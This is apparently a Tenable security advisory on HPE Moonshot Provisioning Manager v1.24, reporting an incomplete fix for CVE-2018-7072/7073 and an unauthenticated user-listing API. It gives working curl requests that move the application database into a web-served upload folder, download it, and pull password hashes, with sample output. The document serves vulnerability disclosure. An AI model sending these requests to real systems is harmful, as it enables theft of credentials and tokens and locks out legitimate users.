[R1] Multiple HPE Moonshot Provisioning Manager Vulnerabilities

High
← View More Research Advisories

Synopsis

While developing a Nessus plugin for CVE-2018-7072 and CVE-2018-7073, Tenable discovered that the fix in HPE Moonshot Provisioning Manager v1.24 for HPE advisory HPESBHF03843 is incomplete. In v1.24, /opt/hp/moonshot/upload/ and many other directories are still writable by the user moonshot: 

#find / -maxdepth 5 -type d -user moonshot -perm /u+w -printf "%M %u %p \n"  2> /dev/null
drwx------ moonshot /home/moonshot
drwxr-xr-x moonshot /var/lib/moonshot
drwxr-xr-x moonshot /opt/hp/moonshot
drwxr-xr-x moonshot /opt/hp/moonshot/include

drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/moonshot_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/task_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/upgrade
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/root
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/os_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/user_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/pydeps
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/conf
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/tclient
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/bin
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/answers
drwxr-xr-x moonshot /opt/hp/moonshot/upload
drwxr-xr-x moonshot /opt/hp/moonshot/logs
drwxr-xr-x moonshot /opt/hp/moonshot/bin
drwxr-xr-x moonshot /opt/hp/moonshot/bin/__pycache__
drwxr-xr-x moonshot /opt/hp/moonshot/lib
drwxr-xr-x moonshot /opt/hp/moonshot/lib/python3.3

For example, the attacker can move the db.sqlite3 file in /var/lib/moonshot to /opt/hp/moonshot/upload/:

$ curl -kd "isofile.savepath=/var/lib/moonshot/db.sqlite3&isofile.filename=db.sqlite3"  https://<mpm_host>/cgi-bin/khuploadfile.cgi
<html>
<body>
<p>
File Upload Success
<p>
</body>
</html>

Then the attacker can fetch the db.sqlite3 file with:

$ curl -k -o db.sqlite3 'https://<mpm_host>/upload/db.sqlite3'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 95232  100 95232    0     0   294k      0 --:--:-- --:--:-- --:--:--  567k

The db.sqlite3 file is the database for the 'tinkerbell' Django project and contains various information about the web application at https://<mpm_host>/. For example, it contains information about configured users and authentication tokens of logged in users:

$ sqlite3 db.sqlite3
SQLite version 3.6.20
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .table
auth_group                     moonshot_mgr_addressrecord

auth_user_groups               moonshot_mgr_node
auth_user_user_permissions     moonshot_mgr_switch
authtoken_token                os_mgr_configurationfile

djkombu_message                prov_mgr_install

This information may help the attacker launch further attacks.

Also, because /var/lib/moonshot/db.sqlite3 is moved to /opt/hp/moonshot/upload/, valid users can no longer login to the web UI at https://<mpm_host>/.

Tenable also found another security issue with URL endpoint /api/users/, which allows an unauthenticated remote attacker to fetch all user accounts with sensitive information including password hashes: 

$ curl -k 'https://<mpm_host>/api/users/'
[{"url":"https:/<mpm_host>/</api/users/1/","username":"user1","first_name":"user number 1","password":"pbkdf2_sha256$20000$kTvcnCFdQyTE$gmAgQbL6t1YCbkw6qnl+sGg9qKkf8wSQdxC+fhR4fwI=","email":"","is_staff":true,"is_active":true,"is_superuser":true,"last_login":"2018-08-21T22:28:15.787135Z","date_joined":"2018-08-01T22:43:43.292870Z"},{"url":"https:///api/users/2/","username":"user2","first_name":"user number 2","password":"pbkdf2_sha256$20000$V0bHk71d7xte$eWxIyHgo75gYMZAWUS07mUVezMtY6Ru8gFb8awJJBoc=","email":"","is_staff":true,"is_active":true,"is_superuser":true,"last_login":null,"date_joined":"2018-08-21T22:47:59.549245Z"}]
